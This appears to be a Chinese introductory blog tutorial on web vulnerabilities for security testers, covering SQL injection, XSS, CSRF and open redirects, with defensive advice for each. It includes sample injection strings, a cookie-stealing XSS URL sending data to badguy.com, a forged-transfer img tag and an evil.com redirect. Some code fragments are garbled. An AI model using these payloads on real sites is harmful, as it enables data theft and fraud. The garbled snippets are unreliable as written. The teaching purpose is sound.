安全测试之需要知道的漏洞入门

作者：Zing

原文链接：https://ld246.com/article/1456796646498

来源网站：链滴

<h2 id="SQL注入">SQL 注入</h2>
<h3 id="概念">概念</h3>
SQL 注入就是通过把恶意 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串最终达到欺骗服务器执行恶意的 SQL 命令。
根据技术原理，SQL 注入可以分为两大类：

平台层注入：由不安全大可数据库配置或数据库平台的漏洞所致。
代码层注入：由程序员对输入未进行细致地过滤，从而执行了非法的数据查询。

<hr>
<h3 id="例子">例子</h3>
例如：当我们输入 www.zing.ac.cn?userid=1 时，我们通过 URL 传递变量 userid，并提供值为，后端通过 URL 传过来的值拼接 sql 语句在数据库中进行查询：
<pre><code class="highlight-chroma">select userid,username,psw
from user
where userid='1'
</code></pre>
这样我们就能搞点小破坏，通过 URL 注入 sql 语句，www.zing.ac.cn?userid=1'or'1'='1,使后执行恶意 sql 语句：
<pre><code class="highlight-chroma">select userid,username,psw
from user
where userid='1'
r '1'='1'
</code></pre>
仅仅通过一个恒真表达式，就能查询到所有 user 的信息。
除此之外，我们还能搞一些更大的破坏，插入、更新和删除表的内容，需要知道表的名称。通过面的错误提示，我们可以对表名进行猜测，进而实现我们的目标。
通过注入 <code>www.zing.ac.cn?userid=1'or 1=(select count(*) from user)--</code> 对名进行猜测，若猜中了，则可以进一步注入插入、更新或删除语句。
<hr>
<h3 id="防止SQL注入">防止 SQL 注入</h3>

永远不要信任用户的输入，要对用户的输入进行校验，可以通过正则表达式，或限制长度，对单号和双"-"进行转换等。
永远不要使用动态拼装 SQL，可以使用参数化的 SQL 或者直接使用存储过程进行数据查询存取
永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
不要把机密信息明文存放，请加密或者 hash 掉密码和敏感的信息。
应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装把异常信息存放在独立的表中。

<hr>
<h2 id="XSS跨站脚本攻击">XSS 跨站脚本攻击</h2>
<h3 id="概念-">概念</h3>
XSS(Cross site Scripting)跨站脚本攻击，指攻击者在通过某种方式（如评论）在网页中嵌入客端脚本（如 JavaScript）。但用户浏览此网页时，脚本就会在用户的浏览器上执行，达到攻击者的目，如获取用户 cookie、携带木马、导航到恶意网站等。
<hr>
<h3 id="例子-">例子</h3>
1.例如有一个存在 XSS 漏洞输入框
<pre><code class="highlight-chroma"><input type="text" name="address1" value="value1">

</code></pre>
value1 是用户输入，若用户输入：
<pre><code class="highlight-chroma"><span class="highlight
cl">"/><script>alert("attack")</script><!-
</code></pre>
那么前端代码将会变成：
<pre><code class="highlight-chroma"><span class="highlight
cl"><input type="text" name="address1" value=""/><script>alert("attack")</scri
t><!- ">
</code></pre>
用户浏览时，将会弹出一个对话框。
2.Dom-Based XSS
如发现某个页面存在 XSS 漏洞 http://eg.com/search.asp?term=apple
黑客先建立一个网站 http://badguy.com 用来接收偷到的消息。
然后通过邮件或某中方式发给 eg 的用户以下 URL（通常会进行编码使不那么明显）：
<pre><code class="highlight-chroma"><span class="highlight
cl">http://eg.com/search.asp?term=<script>window.open("http://badguy.com?cookie=
+document.cookie)</script>
</code></pre>
当用户点击这个 URL，嵌入在 URL 中的恶意脚本就会在浏览器执行，并把 cookie 发送到 badg
y 网站中。
3.Stored XSS
存储式 XSS 漏洞，这中漏洞是广泛的且危害巨大的漏洞。攻击者将脚本上传到 Web 服务器上，使得有访问该页面的用户都受到该脚本的攻击。
如，黑客发现某论坛 A 上有一个 XSS 漏洞，黑客发表一个帖子，帖子中嵌入恶意 JavaScript 代
。
其他人访问该帖子时，嵌入在帖子中的脚本就会被执行。
<hr>
<h3 id="防止XSS攻击">防止 XSS 攻击</h3>
原则：不要相信用户输入的数据

将重要的 cookie 标记为 http only， 这样的话 Javascript 中的 document.cookie 语句就不能取到 cookie 了.
只允许用户输入我们期望的数据。
对数据进行 Html Encode 处理。（HtmlEncode：是将 html 源文件中不容许出现的字符进行码，通常是编码以下字符："<"、">"、"&"、"""、"'"等）
过滤或移除特殊的 Html 标签， 例如: <code><script>, <iframe></code> 。
过滤 JavaScript 事件的标签。例如 <code>"onclick=", "onfocus"</code> 等等。

一般的测试方法有：

查找传递给客户端的关键变量，如 form 表单，若没有经过 htmlEncode 处理，将可能存在 XSS 漏洞。
在网页中能输入的地方或传值的 URL 注入脚本 <code>"/><script>alert("attack")</cript><!-</code>，查看是否弹出对话框。
使用自动化工具扫描 XSS 漏洞。

<hr>
<h2 id="CSRF跨站请求伪造">CSRF 跨站请求伪造</h2>
<h3 id="概念--">概念</h3>
CSRF（Corss-site request forgery），跨站请求伪造。其基本思路是，盗用者在你不知情的情

下，以你的名义发送恶意请求，如发送消息，发送邮件，购买商品等。
该种方式是最不引起重视，然而危害却是最大的漏洞之一。
<hr>
<h3 id="例子--">例子</h3>
其攻击基本过程如下：

用户 C 浏览并登录某银行网站 A，假设网站 A 以 GET 的方式完成银行转账操作，<code>http:/
www.mybank.com/Transfer.php?toBankId=11&money=1000</code>(即使是 post 也是
样的)
验证通过，在用户 C 浏览器产生 A 的 cookie
在没有登出网站 A 的情况下，访问危险网站 B，网站 B 以某种方式隐藏了请求，如 <code><
mg src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000></code

用户在不知情的情况下，触发网站 B 上访问银行网站 A 的请求
浏览器携带 2 产生的 cookie，发送请求到银行网站 A
由于请求携带用户 C 的 cookie，银行网站 A 认为该请求是用户的请求，执行该请求。

<hr>
<h3 id="防止CSRF攻击">防止 CSRF 攻击</h3>

页面产生一个随机 hash 值，页面中所有表单都覆盖该值，在服务端处理时校验该随机值。
验证码。
不同表单产生不同随机值。

我们可以随便打开一个 Discuz 论坛，都可以发现其发帖回帖功能，都用到了页面 hash 和验证
来防止 CSRF 攻击。
<hr>
<hr>
<h2 id="URL重定向漏洞">URL 重定向漏洞</h2>
<h3 id="概念---">概念</h3>
服务端未对传入的跳转 URL 变量进行检查和控制，可能导致恶意构造一个恶意网站，借助可信
站 URL 有道用户跳转到恶意网站。
由于是从可信的站点跳转出去的，用户会比较信任，所以跳转漏洞一般用于钓鱼攻击，伪造可信网站
骗用户输入用户名密码等重要信息，或欺骗用户进行金钱交易等。
对于 URL 跳转一般会有以下几种实现方式：

META 标签内跳转
javascript 跳转
header 头跳转

由于网站通常需要根据上下文决定跳转的 URL，通过 GET 或者 POST 方法接收将要跳转的 URL
通过以上几种方式进行跳转。
<hr>
<h3 id="例子---">例子</h3>
例如一个简单的例子，跳转页面代码如下：
<pre><code class="highlight-chroma"><span class="highlight
cl"><?php
$url=$_GET['jump
o'];
header("Location:
$url");
?>
</code></pre>
如果 jumpto 没有经过任何限制，恶意用户可以伪造 URL：

<pre><code class="highlight-chroma"><span class="highlight
cl">http://www.wooyun.org/login.php?jumpto=http://www.evil.com
</code></pre>
<p>该 URL 会导致跳转到恶意网站。由于是借助可信域名进行跳转，通常用户会被欺骗，且 QQ、
旺等在线 IM 都是基于 URL 进行过滤，很可能会被认为是白名单中的 URL，被认为是可信网址。</p

<hr>
<h3 id="防止URL跳转漏洞">防止 URL 跳转漏洞</h3>

若跳转 URL 是可以事先确定，现在后台配置号，通过接收索引确定跳转 URL
若跳转 URL 无法事先确定，但是是根据后台的处理逻辑生成的（非用户输入），可以生成跳转
接然后进行签名。
若不满足前两项，则必须对用户的输入做严格的限制或校验。
